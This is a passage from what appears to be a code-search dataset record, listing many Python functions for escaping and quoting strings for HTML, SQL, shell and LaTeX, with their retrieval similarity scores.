isinstance(value, bool):\n return \"TRUE\" if value else \"FALSE\"\n elif isinstance(value, (int, float)):\n return value\n elif isinstance(value, (list, tuple)):\n return \", \".join(escape(element) for element in value)","def operand_to_str(self, operand):\n s = str(operand)\n if s.startswith('(') and s.endswith(')'):\n return s\n if (isinstance(operand, Literal) or\n isinstance(operand, Attr) or \n isinstance(operand, Star)):\n return s\n return \"(%s)\" % s","def addslashes(val):\n return re.escape(val)","def safeToString():","def HtmlEscape(text):\n return escape(text, _HTML_ESCAPE_TABLE)","def escape(cls, html):\n return (\"%s\" % (html)).replace('&', '&').replace('<', '<').replace('>', '>').replace('\"', '"').replace(\"'\", ''')","def escapeLaTeX(self,string):\n string_to_escape = \"{(&$#%)}\" # fixed the problem of producing \\[ \\] math environment\n new_str_list = map(lambda x: \"\\\\\" + x if x in string_to_escape else x,\n string)\n new_symbolfied_list = map(lambda x: symbols.unicode_to_latex_dict[x] if x in symbols.unicode_to_latex_dict else x, \n new_str_list)\n return ''.join(new_symbolfied_list)","def _safe(text):\n return text.replace(\"'\", \"''\").replace(\"\\\\\", \"\\\\\\\\\")","def html_escape(text): \n html_escape_table = {\n \"&\": \"&\",\n '\"': \""\",\n \"'\": \"'\",\n \">\": \">\",\n \"<\": \"<\",\n }\n return \"\".join(html_escape_table.get(c,c) for c in text)","def escape(value):\n \n value = stringify(value)\n return value.replace('$', '$$')","def escape(text):\n if text is None:\n return\n else:\n return cgi.escape(text).encode('ascii', 'xmlcharrefreplace')","def _quoter(self, col) :\n\n j = self.cols.index(col)\n if self.types[j] == 'TEXT' :\n return '\"%s\"'\n else :\n return '%s'","def escape_quotes(self, val):\n if val.startswith(self.quote) and val.endswith(self.quote):\n # make sure any previously escaped quotes are not re-escaped\n middle = val[1:-1].replace(\"\\\\\" + self.quote, self.quote)\n middle = middle.replace(self.quote, \"\\\\\" + self.quote)\n val = \"%s%s%s\" % (self.quote, middle, self.quote)\n\n return val","def SingleQuote(s):\n return pipes.quote(s)","def escape(self, value):\n return re.sub(r\"\\$\", \"$$\", value)","def escape(t):\r\n return (t\r\n .replace(\"&\", \"&\").replace(\"<\", \"<\").replace(\">\", \">\")\r\n .replace(\"´\", \"'\").replace('\"', \""\").replace(\"'\",''')\r\n )","def add_quote(item):\n if type(item) == str:\n return \"\\'\" + item + \"\\'\"\n else:\n return item","def _quote(v):\n return '\"' + v + '\"' if ' ' in v else v","def elem_quote(member):\n# member = str(member) # since we now stringify everything - this is probably a redundant command\n if member.find(\"'\") == -1:\n outline = \"'\" + member + \"'\"\n elif member.find('\"') == -1:\n outline = '\"' + member + '\"'\n else:\n outline = '\"' + member.replace('\"','&mjf-quot;')+'\"'\n return outline.replace('\\n','&mjf-lf;')","def escape_string(value: str) -> str:\n\n def replace(match: Match) -> str:\n return ESCAPE_DCT[match.group(0)]\n\n return ESCAPE.sub(replace, value)","def escape(t):\n return (t\n .replace(\"&\", \"&\").replace(\"<\", \"<\").replace(\">\", \">\")\n .replace(\"'\", \"'\").replace('\"', \""\")\n )","def _escape_string(text, _map={}):\n if isinstance(text, str):\n text = text.encode()\n assert isinstance(text, (bytes, bytearray))\n\n if not _map:\n for ch in range(256):\n if ch in _VALID_CHARS:\n _map[ch] = chr(ch)\n else:\n _map[ch] = '\\\\%02x' % ch\n\n buf = [_map[ch] for ch in text]\n return ''.join(buf)","def as_html(self):\r\n return mark_safe(' '.join(['%s=\"%s\"' % (k, escape(v if not callable(v) else v()))\r\n for k, v in six.iteritems(self)]))","def repr_str(obj, attrs, update=None):\n props = [\n (attr, value)\n for attr, value in (\n (attr, getattr(obj, attr))\n for attr in attrs\n )\n if value is not None\n ]\n\n if update is not None:\n props = update(props)\n\n props_str = ', '.join('%s=%s' % (attr, value) for attr, value in props)\n return \"<{klass}: {props_str}>\".format(\n klass=obj.__class__.__name__,\n props_str=props_str,\n )","def _sympystr(self, printer: StrPrinter, *args: Any) -> str:\n return self.__str__()","def _escape_value(cls, value):\n numbers = (decimal.Decimal, int, float)\n if value is None:\n return 'NULL'\n elif isinstance(value, str):\n return \"'{}'\".format(value.replace(\"'\", \"''\"))\n elif isinstance(value, numbers):\n return value\n elif isinstance(value, datetime):\n time_formatted = value.strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]\n return \"TIMESTAMP '{}'\".format(time_formatted)\n else:\n raise ValueError('Cannot escape {}'.format(type(value)))","def escapejs(value):\n for bad, good in _js_escapes:\n value = value.replace(bad, good)\n return value","def escape(txt):\n txt = sax_escape(txt, entities=ENTITIES)\n return mark_safe(txt)","def jsquote(prim) :\n\tif isinstance(prim, URIRef) :\n\t\treturn 'u' + str(prim)\n\telif isinstance(prim, float) :\n\t\treturn 'f' + str(prim)\n\telif isinstance(prim, int) :\n\t\treturn 'i' + str(prim)\n\telif isinstance(prim, basestring) :\n\t\treturn 's' + prim.replace('\"', '\\\\\"').replace(\"'\", \"\\\\'\").replace(\"\\n\", \"\\\\n\")\n\telse :\n\t\treturn None","def escape_triple_quotes(text):\n return text.replace(u'\"\"\"', u'\\\\\"\\\\\"\\\\\"')","def wrap_with_in_single_quote(s):\n return \"'{}'\".format(s)","def wrap_with_in_single_quote(s):\n return \"'{}'\".format(s)","def escape(raw_string): \n return ''.join(\n [_caret_escapes_for_unprintables.get(c, c) for c in raw_string])","def safe_unicode(obj, *args):\n try:\n return unicode(obj, *args)\n except UnicodeDecodeError:\n # obj is byte string\n ascii_text = str(obj).encode('string_escape')\n return unicode(ascii_text)","def safe_unicode(obj, *args):\n try:\n return unicode(obj, *args)\n except UnicodeDecodeError:\n # obj is byte string\n ascii_text = str(obj).encode('string_escape')\n return unicode(ascii_text)","def safe_unicode(obj, *args):\n try:\n return unicode(obj, *args)\n except UnicodeDecodeError:\n # obj is byte string\n ascii_text = str(obj).encode('string_escape')\n return unicode(ascii_text)","def safe_unicode(obj, *args):\n try:\n return unicode(obj, *args)\n except UnicodeDecodeError:\n # obj is byte string\n ascii_text = str(obj).encode('string_escape')\n return unicode(ascii_text)","def safe_unicode(obj, *args):\n try:\n return unicode(obj, *args)\n except UnicodeDecodeError:\n # obj is byte string\n ascii_text = str(obj).encode('string_escape')\n return unicode(ascii_text)","def safe_unicode(obj, *args):\n try:\n return unicode(obj, *args)\n except UnicodeDecodeError:\n # obj is byte string\n ascii_text = str(obj).encode('string_escape')\n return unicode(ascii_text)","def srepr(obj):\n return repr(str(obj))"],"string":"[\n \"def escape(self, expr):\\n return mysql.connector.conversion.MySQLConverter().escape(expr)\",\n \"def quote(self, expr):\\n return \\\"'\\\" + self.escape(str(expr)) + \\\"'\\\"\",\n \"def escape(self):\\n pass\",\n \"def mysql_quote(x):\\n if not x:\\n return \\\"NULL\\\"\\n x = x.replace(\\\"\\\\\\\\\\\", \\\"\\\\\\\\\\\\\\\\\\\")\\n x = x.replace(\\\"'\\\", \\\"''\\\")\\n x = x.replace(\\\"\\\\n\\\", \\\"\\\\\\\\n\\\")\\n return \\\"'{}'\\\".format(x)\",\n \"def _escape(arg):\\n if type(arg) == str:\\n arg = \\\"'%s'\\\" % _escape_string(arg)\\n elif type(arg) == unicode:\\n arg = \\\"'%s'\\\" % _escape_string(arg).encode('utf8')\\n elif arg is None:\\n arg = 'null'\\n else:\\n arg = str(arg)\\n return arg\",\n \"def _escape(self,text):\\n\\t\\tif not text: return \\\"_\\\" # escape empty string\\n\\t\\ttext = text.replace(\\\"_\\\",\\\"__\\\") # escape underscores\\n\\t\\ttext = text.replace(\\\" \\\",\\\"_\\\") # escape spaces\\n\\t\\ttext = text.replace(\\\"-\\\",\\\"--\\\") # escape dashes\\n\\t\\ttext = text.replace(\\\"''\\\",'\\\"') # escape double quote\\n\\t\\ttext = text.replace(\\\"?\\\",\\\"~q\\\") # escape question marks\\n\\t\\ttext = text.replace(\\\"%\\\",\\\"~p\\\") # escape question marks\\n\\t\\ttext = text.replace(\\\"#\\\",\\\"~h\\\") # escape question marks\\n\\t\\ttext = text.replace(\\\"/\\\",\\\"~s\\\") # escape question marks\\n\\t\\treturn text\",\n \"def myescape(str):\\n\\tif str is not None:\\n\\t\\treturn str.replace('&', '&').replace('<', '<')\\n\\telse:\\n\\t\\treturn \\\"\\\"\",\n \"def esc_quotes(strng):\\n\\n return strng.replace('\\\"','\\\\\\\\\\\"').replace(\\\"'\\\",\\\"\\\\\\\\'\\\")\",\n \"def QuotedEscaped (s):\\n return repr(s)\",\n \"def _escape(s):\\n assert isinstance(s, str), \\\\\\n \\\"expected %s but got %s; value=%s\\\" % (type(str), type(s), s)\\n s = s.replace(\\\"\\\\\\\\\\\", \\\"\\\\\\\\\\\\\\\\\\\")\\n s = s.replace(\\\"\\\\n\\\", \\\"\\\\\\\\n\\\")\\n s = s.replace(\\\"\\\\t\\\", \\\"\\\\\\\\t\\\")\\n s = s.replace(\\\",\\\", \\\"\\\\t\\\")\\n return s\",\n \"def encodeLiteral(self, string):\\r\\n return string.replace(\\\"'\\\",\\\"''\\\")\",\n \"def escape(orig):\\n return '\\\"{}\\\"'.format(orig.replace('\\\\\\\\', '\\\\\\\\\\\\\\\\').replace('\\\"', '\\\\\\\\\\\"'))\",\n \"def escape_string(text):\\n return escape(text)\",\n \"def format_sql_str(statement):\\n replace_strs = [\\\"]\\\", \\\"[a\\\", \\\"\\\\r\\\\n\\\"]\\n for replace_str in replace_strs:\\n statement = statement.replace(replace_str, \\\"\\\")\\n return statement\",\n \"def esc_kw(kw):\\n kw = kw.replace('\\\\\\\\', '\\\\\\\\\\\\\\\\') # be sure to do this first, as we inject \\\\!\\n kw = kw.replace('(', '\\\\(')\\n kw = kw.replace(')', '\\\\)')\\n kw = kw.replace('+', '\\\\+')\\n kw = kw.replace('-', '\\\\-')\\n kw = kw.replace(':', '\\\\:')\\n kw = kw.replace('/', '\\\\/')\\n kw = kw.replace(']', '\\\\]')\\n kw = kw.replace('[', '\\\\[')\\n kw = kw.replace('*', '\\\\*')\\n kw = kw.replace('?', '\\\\?')\\n kw = kw.replace('{', '\\\\{')\\n kw = kw.replace('}', '\\\\}')\\n kw = kw.replace('~', '\\\\~')\\n\\n\\n return kw\",\n \"def _quote(self, arg):\\n arg = arg.replace('\\\\\\\\', '\\\\\\\\\\\\\\\\')\\n arg = arg.replace('\\\"', '\\\\\\\\\\\"')\\n return '\\\"%s\\\"' % arg\",\n \"def safe_str(self, string):\\n return self.db.escape_string(string)\",\n \"def _escape(var):\\n return f\\\"({re.escape(var)})\\\"\",\n \"def escapeEncode(s: unicode) -> unicode:\\n ...\",\n \"def escape(self, value) -> str:\\n def to_str(val):\\n if isinstance(val, bytes):\\n val = val.decode('utf-8')\\n return QuotedString(val).getquoted().decode('utf-8')\\n func = self.python_type\\n if isinstance(value, (datetime.datetime, datetime.date)):\\n value = str(value)\\n func = to_str\\n if issubclass(self.python_type, str):\\n func = to_str\\n return func(value)\",\n \"def getquoted(self):\\n if self.is_geometry:\\n # Psycopg will figure out whether to use E'\\\\\\\\000' or '\\\\000'.\\n return b\\\"%s(%s)\\\" % (\\n b\\\"ST_GeogFromWKB\\\" if self.geography else b\\\"ST_GeomFromEWKB\\\",\\n sql.quote(self.ewkb).encode(),\\n )\\n else:\\n # For rasters, add explicit type cast to WKB string.\\n return b\\\"'%s'::raster\\\" % self.ewkb.hex().encode()\",\n \"def sqlify(obj):\\n # because `1 == True and hash(1) == hash(True)`\\n # we have to do this the hard way...\\n\\n if obj is None:\\n return 'NULL'\\n elif obj is True:\\n return \\\"'t'\\\"\\n elif obj is False:\\n return \\\"'f'\\\"\\n elif isinstance(obj, long):\\n return str(obj)\\n elif datetime and isinstance(obj, datetime.datetime):\\n return repr(obj.isoformat())\\n else:\\n if isinstance(obj, unicode): obj = obj.encode('utf8')\\n return repr(obj)\",\n \"def escape(self, escape_func, quote_func=quote_spaces):\\n\\n if self.is_literal():\\n return escape_func(self.data)\\n elif ' ' in self.data or '\\\\t' in self.data:\\n return quote_func(self.data)\\n else:\\n return self.data\",\n \"def _escapeString(self, value):\\n if '\\\"' in value and \\\"'\\\" in value:\\n substrings = value.split(\\\"\\\\\\\"\\\")\\n result = [\\\"concat(\\\"]\\n for substring in substrings:\\n result.append(\\\"\\\\\\\"%s\\\\\\\"\\\" % substring)\\n result.append(\\\", '\\\\\\\"', \\\")\\n result = result[0:-1]\\n if value.endswith('\\\"'):\\n result.append(\\\", '\\\\\\\"'\\\")\\n return \\\"\\\".join(result) + \\\")\\\"\\n\\n if '\\\"' in value:\\n return \\\"'%s'\\\" % value\\n return \\\"\\\\\\\"%s\\\\\\\"\\\" % value\",\n \"def ansi_escape(text: object) -> str:\\n return str(text).replace(\\\"\\\\x1b\\\", \\\"?\\\").replace(\\\"\\\\b\\\", \\\"?\\\")\",\n \"def test_symlit_escape():\\n return \\\"\\\\\\\"=\\\\\\\"\\\"\",\n \"def safe_str(obj):\\n try:\\n return str(obj)\\n except UnicodeEncodeError:\\n # obj is unicode\\n return unicode(obj).encode('unicode_escape')\",\n \"def safe_str(obj):\\n try:\\n return str(obj)\\n except UnicodeEncodeError:\\n # obj is unicode\\n return unicode(obj).encode('unicode_escape')\",\n \"def safe_str(obj):\\n try:\\n return str(obj)\\n except UnicodeEncodeError:\\n # obj is unicode\\n return unicode(obj).encode('unicode_escape')\",\n \"def escape(text):\\n return text_type(text).replace('&', '&').replace('<', '<').replace('>', '>')\",\n \"def shQuote(text):\\n\\treturn \\\"'%s'\\\" % text.replace(\\\"'\\\", r\\\"'\\\\''\\\")\",\n \"def html_escape(text):\\n return escape(text, escape_table)\",\n \"def escape(x):\\n if '\\\\'' not in x:\\n return '\\\\'' + x + '\\\\''\\n s = '\\\"'\\n for c in x:\\n if c in '\\\\\\\\$\\\"`':\\n s = s + '\\\\\\\\'\\n s = s + c\\n s = s + '\\\"'\\n return s\",\n \"def escapeXml(obj):\\n\\treturn str(obj).replace(\\\"&\\\", \\\"&\\\").replace(\\\"<\\\", \\\"<\\\").replace(\\\">\\\", \\\">\\\")\",\n \"def _escape_backticks(text: str, escape_with='\\\\u200b'):\\r\\n return text.replace('`', '`'+escape_with)\",\n \"def cypher_escape(identifier, **kwargs):\\n if not isinstance(identifier, string_types):\\n raise TypeError(type(identifier).__name__)\\n encoder = CypherEncoder(**kwargs)\\n return encoder.encode_key(identifier)\",\n \"def escape(s):\\r\\n return str(s).replace('<', '<').replace('>', '>')\",\n \"def escape(self, text, escape_chars):\\n _bs = \\\"\\\\\\\\\\\"\\n # backslash is always escaped\\n text = text.replace(_bs, _bs * 2)\\n for _el in escape_chars:\\n assert _el != _bs, \\\"Backslash has been already escaped\\\"\\n text = text.replace(_el, _bs + _el)\\n return text\",\n \"def as_expression(self):\\n data = [(key,self.__dict__[key]) for key in self.FIELDS]\\n items = []\\n for (key,value) in data:\\n if isinstance(value,types.UnicodeType):\\n value = value.encode('utf-8')\\n if isinstance(value,types.StringTypes):\\n value = trim_value(value)\\n if isinstance(value,types.StringType):\\n items.append(\\\"'%s': %s\\\" % (key,quote(value)))\\n else:\\n items.append(\\\"'%s': %s\\\" % (key,str(value)))\\n r = '{\\\\n%s\\\\n}' % ',\\\\n'.join(items)\\n return r\",\n \"def escape(text):\\n return text.replace('&', '&'). \\\\\\n replace('<', '<'). \\\\\\n replace('>', '>').replace('\\\"', '"'). \\\\\\n replace(\\\"'\\\", ''')\",\n \"def escape_quote(text):\\n return text_type(text).replace('&', '&').replace('<', '<').replace('>', '>').replace('\\\"', '"')\",\n \"def js_str(something):\\n if isinstance(something, unicode):\\n text = something\\n elif isinstance(something, str):\\n text = unicode(something, 'utf-8')\\n else:\\n text = unicode(something)\\n return \\\"'\\\" + text.replace(\\\"'\\\", \\\"\\\\\\\\'\\\").replace('\\\"', '\\\\\\\\\\\"').replace(\\\"\\\\n\\\", \\\"\\\\\\\\n\\\") + \\\"'\\\"\",\n \"def fmt(self, val):\\n if type(val) in self.QUOTABLE_TYPES:\\n s = decode_string(val)\\n return u\\\"{0}{1}{2}\\\".format(self.quotechar, s, self.quotechar)\\n else:\\n return decode_string(str(val))\",\n \"def safe(e):\\n if PY2 and isinstance(e, unicode):\\n return quote(e.encode('utf-8'), safe='')\\n else:\\n return quote(str(e), safe='')\",\n \"def escape(text: str) -> str:\\n\\n def replace(match_obj):\\n \\\"\\\"\\\"\\n Returns the match text prefixed with backslash\\n\\n :param re.match match_obj: The match.\\n\\n :rtype: str\\n \\\"\\\"\\\"\\n return '\\\\\\\\' + match_obj.group(0)\\n\\n return re.sub(r'[\\\\\\\\{}]', replace, text)\",\n \"def sql(self, quoted=True):\\n if quoted:\\n return '\\\"%s\\\"' % MySQLdb.escape_string(str(self.data))\\n else:\\n return '%s' % MySQLdb.escape_string(str(self.data))\",\n \"def astr(obj):\\n\\treturn unicode(obj).encode(\\\"ascii\\\", \\\"replace\\\")\",\n \"def _escapeArg(arg):\\n #XXX There is a *lot* more that we should escape here.\\n return arg.replace('\\\"', r'\\\\\\\"')\",\n \"def encodeText(text):\\r\\n#\\treturn repr( quote_plus(text.replace(\\\"'\\\", '\\\"')) )\\r\\n\\ttry:\\r\\n\\t\\treturn repr( quote_plus(text.replace(\\\"'\\\", '\\\"').encode('utf-8')) )\\r\\n\\texcept:\\r\\n\\t\\tlogError(\\\"encodeText()\\\")\\r\\n\\treturn repr(text.replace(\\\"'\\\", '\\\"'))\",\n \"def esc(matchObj):\\n if matchObj.group(1) == None: # no tags found\\n return u'<xsl:text>%s</xsl:text>' % \\\\\\n escape(matchObj.group(3), escDict)\\n if matchObj.group(1): # leading text and tag\\n return u'<xsl:text>%s</xsl:text>%s' % \\\\\\n (escape(matchObj.group(1), escDict), matchObj.group(2))\\n return matchObj.group(2) # tag only\",\n \"def quote(s):\\n return unescape(quoteattr(s))\",\n \"def embeded_triple_quotes():\\n pass\",\n \"def __str__(self):\\n return \\\"\\\\\\\"%s\\\\\\\"\\\" % self.__string\",\n \"def quote(value):\\n return DoubleQuotedScalarString(value)\",\n \"def escape_latex_characters(line):\\n line = line.replace('\\\\\\\\', '\\\\\\\\textbackslash')\\n line = line.replace('&', '\\\\&')\\n line = line.replace('%', '\\\\%')\\n line = line.replace('$', '\\\\$')\\n line = line.replace('#', '\\\\#')\\n line = line.replace('_', '\\\\_')\\n line = line.replace('{', '\\\\{')\\n line = line.replace('}', '\\\\}')\\n line = line.replace('~', '\\\\\\\\textasciitilde')\\n line = line.replace('^', '\\\\\\\\textasciicircum')\\n line = line.replace('<', '\\\\\\\\textless')\\n line = line.replace('>', '\\\\\\\\textgreater')\\n return line\",\n \"def EscapeDelimiters(s):\\r\\n \\r\\n result = s.replace(\\\";\\\", \\\"\\\\\\\\\\\")\\r\\n result = result.replace(\\\"|\\\", \\\"|\\\\\\\\\\\")\\r\\n \\r\\n return result\",\n \"def encode_parameters(self, text):\\n return quote_plus(text, safe='=:&\\\"')\",\n \"def escape_cell(cell):\\n cell = cell.replace(u'\\\\\\\\', u'\\\\\\\\\\\\\\\\')\\n cell = cell.replace(u'\\\\n', u'\\\\\\\\n')\\n cell = cell.replace(u'|', u'\\\\\\\\|')\\n return cell\",\n \"def html_escape(text):\\r\\n\\treturn \\\"\\\".join(html_escape_table.get(c,c) for c in text)\",\n \"def _escape_identifier(self, value):\\n\\n return value.replace('\\\"', '\\\"\\\"')\",\n \"def escape(self,s):\\n\\t\\ts = s.replace('&', '&').replace('<', '<').replace('>', '>')\\n\\t\\ts = s.replace('\\\"','').replace(\\\"'\\\",\\\"\\\")\\n\\t\\treturn ''.join([c for c in s if ord(c) > 0x1F])\",\n \"def escape(value):\\n if value == \\\"*\\\":\\n return value\\n elif isinstance(value, str):\\n return \\\"'{}'\\\".format(value.replace(\\\"'\\\", \\\"``\\\"))\\n elif isinstance(value, bool):\\n return \\\"TRUE\\\" if value else \\\"FALSE\\\"\\n elif isinstance(value, (int, float)):\\n return value\\n elif isinstance(value, (list, tuple)):\\n return \\\", \\\".join(escape(element) for element in value)\",\n \"def operand_to_str(self, operand):\\n s = str(operand)\\n if s.startswith('(') and s.endswith(')'):\\n return s\\n if (isinstance(operand, Literal) or\\n isinstance(operand, Attr) or \\n isinstance(operand, Star)):\\n return s\\n return \\\"(%s)\\\" % s\",\n \"def addslashes(val):\\n return re.escape(val)\",\n \"def safeToString():\",\n \"def HtmlEscape(text):\\n return escape(text, _HTML_ESCAPE_TABLE)\",\n \"def escape(cls, html):\\n return (\\\"%s\\\" % (html)).replace('&', '&').replace('<', '<').replace('>', '>').replace('\\\"', '"').replace(\\\"'\\\", ''')\",\n \"def escapeLaTeX(self,string):\\n string_to_escape = \\\"{(&$#%)}\\\" # fixed the problem of producing \\\\[ \\\\] math environment\\n new_str_list = map(lambda x: \\\"\\\\\\\\\\\" + x if x in string_to_escape else x,\\n string)\\n new_symbolfied_list = map(lambda x: symbols.unicode_to_latex_dict[x] if x in symbols.unicode_to_latex_dict else x, \\n new_str_list)\\n return ''.join(new_symbolfied_list)\",\n \"def _safe(text):\\n return text.replace(\\\"'\\\", \\\"''\\\").replace(\\\"\\\\\\\\\\\", \\\"\\\\\\\\\\\\\\\\\\\")\",\n \"def html_escape(text): \\n html_escape_table = {\\n \\\"&\\\": \\\"&\\\",\\n '\\\"': \\\""\\\",\\n \\\"'\\\": \\\"'\\\",\\n \\\">\\\": \\\">\\\",\\n \\\"<\\\": \\\"<\\\",\\n }\\n return \\\"\\\".join(html_escape_table.get(c,c) for c in text)\",\n \"def escape(value):\\n \\n value = stringify(value)\\n return value.replace('$', '$$')\",\n \"def escape(text):\\n if text is None:\\n return\\n else:\\n return cgi.escape(text).encode('ascii', 'xmlcharrefreplace')\",\n \"def _quoter(self, col) :\\n\\n j = self.cols.index(col)\\n if self.types[j] == 'TEXT' :\\n return '\\\"%s\\\"'\\n else :\\n return '%s'\",\n \"def escape_quotes(self, val):\\n if val.startswith(self.quote) and val.endswith(self.quote):\\n # make sure any previously escaped quotes are not re-escaped\\n middle = val[1:-1].replace(\\\"\\\\\\\\\\\" + self.quote, self.quote)\\n middle = middle.replace(self.quote, \\\"\\\\\\\\\\\" + self.quote)\\n val = \\\"%s%s%s\\\" % (self.quote, middle, self.quote)\\n\\n return val\",\n \"def SingleQuote(s):\\n return pipes.quote(s)\",\n \"def escape(self, value):\\n return re.sub(r\\\"\\\\$\\\", \\\"$$\\\", value)\",\n \"def escape(t):\\r\\n return (t\\r\\n .replace(\\\"&\\\", \\\"&\\\").replace(\\\"<\\\", \\\"<\\\").replace(\\\">\\\", \\\">\\\")\\r\\n .replace(\\\"´\\\", \\\"'\\\").replace('\\\"', \\\""\\\").replace(\\\"'\\\",''')\\r\\n )\",\n \"def add_quote(item):\\n if type(item) == str:\\n return \\\"\\\\'\\\" + item + \\\"\\\\'\\\"\\n else:\\n return item\",\n \"def _quote(v):\\n return '\\\"' + v + '\\\"' if ' ' in v else v\",\n \"def elem_quote(member):\\n# member = str(member) # since we now stringify everything - this is probably a redundant command\\n if member.find(\\\"'\\\") == -1:\\n outline = \\\"'\\\" + member + \\\"'\\\"\\n elif member.find('\\\"') == -1:\\n outline = '\\\"' + member + '\\\"'\\n else:\\n outline = '\\\"' + member.replace('\\\"','&mjf-quot;')+'\\\"'\\n return outline.replace('\\\\n','&mjf-lf;')\",\n \"def escape_string(value: str) -> str:\\n\\n def replace(match: Match) -> str:\\n return ESCAPE_DCT[match.group(0)]\\n\\n return ESCAPE.sub(replace, value)\",\n \"def escape(t):\\n return (t\\n .replace(\\\"&\\\", \\\"&\\\").replace(\\\"<\\\", \\\"<\\\").replace(\\\">\\\", \\\">\\\")\\n .replace(\\\"'\\\", \\\"'\\\").replace('\\\"', \\\""\\\")\\n )\",\n \"def _escape_string(text, _map={}):\\n if isinstance(text, str):\\n text = text.encode()\\n assert isinstance(text, (bytes, bytearray))\\n\\n if not _map:\\n for ch in range(256):\\n if ch in _VALID_CHARS:\\n _map[ch] = chr(ch)\\n else:\\n _map[ch] = '\\\\\\\\%02x' % ch\\n\\n buf = [_map[ch] for ch in text]\\n return ''.join(buf)\",\n \"def as_html(self):\\r\\n return mark_safe(' '.join(['%s=\\\"%s\\\"' % (k, escape(v if not callable(v) else v()))\\r\\n for k, v in six.iteritems(self)]))\",\n \"def repr_str(obj, attrs, update=None):\\n props = [\\n (attr, value)\\n for attr, value in (\\n (attr, getattr(obj, attr))\\n for attr in attrs\\n )\\n if value is not None\\n ]\\n\\n if update is not None:\\n props = update(props)\\n\\n props_str = ', '.join('%s=%s' % (attr, value) for attr, value in props)\\n return \\\"<{klass}: {props_str}>\\\".format(\\n klass=obj.__class__.__name__,\\n props_str=props_str,\\n )\",\n \"def _sympystr(self, printer: StrPrinter, *args: Any) -> str:\\n return self.__str__()\",\n \"def _escape_value(cls, value):\\n numbers = (decimal.Decimal, int, float)\\n if value is None:\\n return 'NULL'\\n elif isinstance(value, str):\\n return \\\"'{}'\\\".format(value.replace(\\\"'\\\", \\\"''\\\"))\\n elif isinstance(value, numbers):\\n return value\\n elif isinstance(value, datetime):\\n time_formatted = value.strftime('%Y-%m-%d %H:%M:%S.%f')[:-3]\\n return \\\"TIMESTAMP '{}'\\\".format(time_formatted)\\n else:\\n raise ValueError('Cannot escape {}'.format(type(value)))\",\n \"def escapejs(value):\\n for bad, good in _js_escapes:\\n value = value.replace(bad, good)\\n return value\",\n \"def escape(txt):\\n txt = sax_escape(txt, entities=ENTITIES)\\n return mark_safe(txt)\",\n \"def jsquote(prim) :\\n\\tif isinstance(prim, URIRef) :\\n\\t\\treturn 'u' + str(prim)\\n\\telif isinstance(prim, float) :\\n\\t\\treturn 'f' + str(prim)\\n\\telif isinstance(prim, int) :\\n\\t\\treturn 'i' + str(prim)\\n\\telif isinstance(prim, basestring) :\\n\\t\\treturn 's' + prim.replace('\\\"', '\\\\\\\\\\\"').replace(\\\"'\\\", \\\"\\\\\\\\'\\\").replace(\\\"\\\\n\\\", \\\"\\\\\\\\n\\\")\\n\\telse :\\n\\t\\treturn None\",\n \"def escape_triple_quotes(text):\\n return text.replace(u'\\\"\\\"\\\"', u'\\\\\\\\\\\"\\\\\\\\\\\"\\\\\\\\\\\"')\",\n \"def wrap_with_in_single_quote(s):\\n return \\\"'{}'\\\".format(s)\",\n \"def wrap_with_in_single_quote(s):\\n return \\\"'{}'\\\".format(s)\",\n \"def escape(raw_string): \\n return ''.join(\\n [_caret_escapes_for_unprintables.get(c, c) for c in raw_string])\",\n \"def safe_unicode(obj, *args):\\n try:\\n return unicode(obj, *args)\\n except UnicodeDecodeError:\\n # obj is byte string\\n ascii_text = str(obj).encode('string_escape')\\n return unicode(ascii_text)\",\n \"def safe_unicode(obj, *args):\\n try:\\n return unicode(obj, *args)\\n except UnicodeDecodeError:\\n # obj is byte string\\n ascii_text = str(obj).encode('string_escape')\\n return unicode(ascii_text)\",\n \"def safe_unicode(obj, *args):\\n try:\\n return unicode(obj, *args)\\n except UnicodeDecodeError:\\n # obj is byte string\\n ascii_text = str(obj).encode('string_escape')\\n return unicode(ascii_text)\",\n \"def safe_unicode(obj, *args):\\n try:\\n return unicode(obj, *args)\\n except UnicodeDecodeError:\\n # obj is byte string\\n ascii_text = str(obj).encode('string_escape')\\n return unicode(ascii_text)\",\n \"def safe_unicode(obj, *args):\\n try:\\n return unicode(obj, *args)\\n except UnicodeDecodeError:\\n # obj is byte string\\n ascii_text = str(obj).encode('string_escape')\\n return unicode(ascii_text)\",\n \"def safe_unicode(obj, *args):\\n try:\\n return unicode(obj, *args)\\n except UnicodeDecodeError:\\n # obj is byte string\\n ascii_text = str(obj).encode('string_escape')\\n return unicode(ascii_text)\",\n \"def srepr(obj):\\n return repr(str(obj))\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.6458438","0.62238497","0.621781","0.6184704","0.6025963","0.5946433","0.5932929","0.5927912","0.58921474","0.58584756","0.5854378","0.5850931","0.5849089","0.581277","0.5790382","0.576162","0.575403","0.5749239","0.5723439","0.57120687","0.5693903","0.5679155","0.56657875","0.56592035","0.56564325","0.56549543","0.56410563","0.56410563","0.56410563","0.5637302","0.5621996","0.5600732","0.55975527","0.5596948","0.5588485","0.5584722","0.55817753","0.55797166","0.5579017","0.55486184","0.5518857","0.5508905","0.55018914","0.549556","0.54891443","0.54797214","0.54753274","0.5471614","0.5467748","0.54518056","0.5446094","0.5440664","0.54380417","0.5425644","0.5411793","0.5409209","0.54075897","0.5396782","0.53964436","0.5395215","0.53892046","0.5389011","0.5380417","0.5368794","0.53676236","0.5363884","0.5363227","0.53613484","0.5354922","0.53518987","0.5348666","0.534256","0.532818","0.53229225","0.53116447","0.5302159","0.52983326","0.5297455","0.52887493","0.5288729","0.5274792","0.5270559","0.5268291","0.5259527","0.52578986","0.5254077","0.5253606","0.52515703","0.5249654","0.5248088","0.5247889","0.5246052","0.5246052","0.52459586","0.52414167","0.52414167","0.52414167","0.52414167","0.52414167","0.52414167","0.5241113"],"string":"[\n \"0.6458438\",\n \"0.62238497\",\n \"0.621781\",\n \"0.6184704\",\n \"0.6025963\",\n \"0.5946433\",\n \"0.5932929\",\n \"0.5927912\",\n \"0.58921474\",\n \"0.58584756\",\n \"0.5854378\",\n \"0.5850931\",\n \"0.5849089\",\n \"0.581277\",\n \"0.5790382\",\n \"0.576162\",\n \"0.575403\",\n \"0.5749239\",\n \"0.5723439\",\n \"0.57120687\",\n \"0.5693903\",\n \"0.5679155\",\n \"0.56657875\",\n \"0.56592035\",\n \"0.56564325\",\n \"0.56549543\",\n \"0.56410563\",\n \"0.56410563\",\n \"0.56410563\",\n \"0.5637302\",\n \"0.5621996\",\n \"0.5600732\",\n \"0.55975527\",\n \"0.5596948\",\n \"0.5588485\",\n \"0.5584722\",\n \"0.55817753\",\n \"0.55797166\",\n \"0.5579017\",\n 